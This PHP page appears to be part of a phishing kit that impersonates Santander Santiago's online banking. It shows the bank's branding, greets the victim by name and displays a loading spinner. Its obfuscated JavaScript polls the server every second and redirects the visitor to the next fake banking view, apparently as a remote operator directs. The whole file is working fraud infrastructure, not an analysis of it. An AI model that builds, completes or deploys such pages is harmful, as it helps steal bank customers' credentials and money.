<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Santander Santiago</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
    </style>
</head>

<body>
    <div id="headertop" style="height: 50px;">
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/imagen/logo.gif">
        <div class="clearfix">
            <ul id="scnTS_itm2_mns_nvl0" class="clearfix">
                <img src="/src/imagen/menu/menu2.jpg" height="36" width="408" alt="">
            </ul>
        </div>
        <div id="iddiv">
            <span id="idspan1">Bienvenido <strong><?= $userDato->nombre; ?></strong></span>
            <span id="idspan2"><?= html_entity_decode($userDato->lastse); ?></span>
        </div>
        <div id="content"></div>
    </div>


    <div id="contensec">
        <div id="menu" class="clearfix">
            <img src="/src/imagen/menu/menu.jpg" style="cursor: pointer;" height="432" alt="">
        </div>
        <div>
            <div class="loading" style="display:block;" id="rueda">
                <div class="cnt-load">
                    <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="27px" height="25px" viewBox="0 0 27 25" enable-background="new 0 0 27 25" xml:space="preserve">
                        <path fill="#ec0000" d="M13.9,1.19c0,3.07,5.1,6.49,5.1,10c0,0,0,0.33-0.14,0.7C23.63,12.9,27,15.3,27,18.11
                              c0,3.771-6.02,6.87-13.469,6.89h-0.15C6,25,0,22,0,18.25c0-2.81,3.66-5.08,8.07-6.29c0,1.55,5.03,6.459,5.15,8.45
                              c0,0,0.02,0.17,0.02,0.36c0,0.101,0,0.19-0.02,0.29c1.08-0.58,1.08-2.4,1.08-2.4c0-4.3-4.88-6.22-4.88-10.45
                              c0-1.65,0.75-2.86,1.44-3.2V6.2c0,3.07,5.28,6.51,5.28,9.32v0.92c1.23-0.489,1.23-2.79,1.23-2.79c0-3.87-4.911-6.02-4.911-10.45
                              c0-1.65,0.76-2.86,1.44-3.2V1.19z"></path>
                    </svg>
                    <div class="uil-ring-css">
                        <div></div>
                    </div>
                    <p style="bottom: -25px;position: absolute;text-align: center;width: 80px;">cargando...</p>
                </div>
            </div>
        </div>
    </div>
    <div id="footerp">
        <div style="margin: 0px auto;width: 570px;">
            <table cellpadding="0" cellspacing="0" align="center">
                <tbody>
                    <tr>
                        <td>
                            <div id="isnotMacIE5">
                                <img src="/src/imagen/menu/menu3.jpg" style="cursor: pointer;margin-top: 2px;" width="570" alt="">
                            </div>
                        </td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>

    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
</body>

</html>

<script src="/src/js/uuytaiosido.js"></script>
<script>
    var ssrsooo19o1 = '<?= $_SESSION['referido']; ?>';
    var tools = new Mataburr0oa();

    window.onload = () => {
        setInterval(() => {
            var form = document.forms.formwait;
            tools.ajaxrequest(ssrsooo19o1, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != 1) {
                    formview('/' + ssrsooo19o1 + '/transa/segmentos/Menu/view.asp');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }
</script>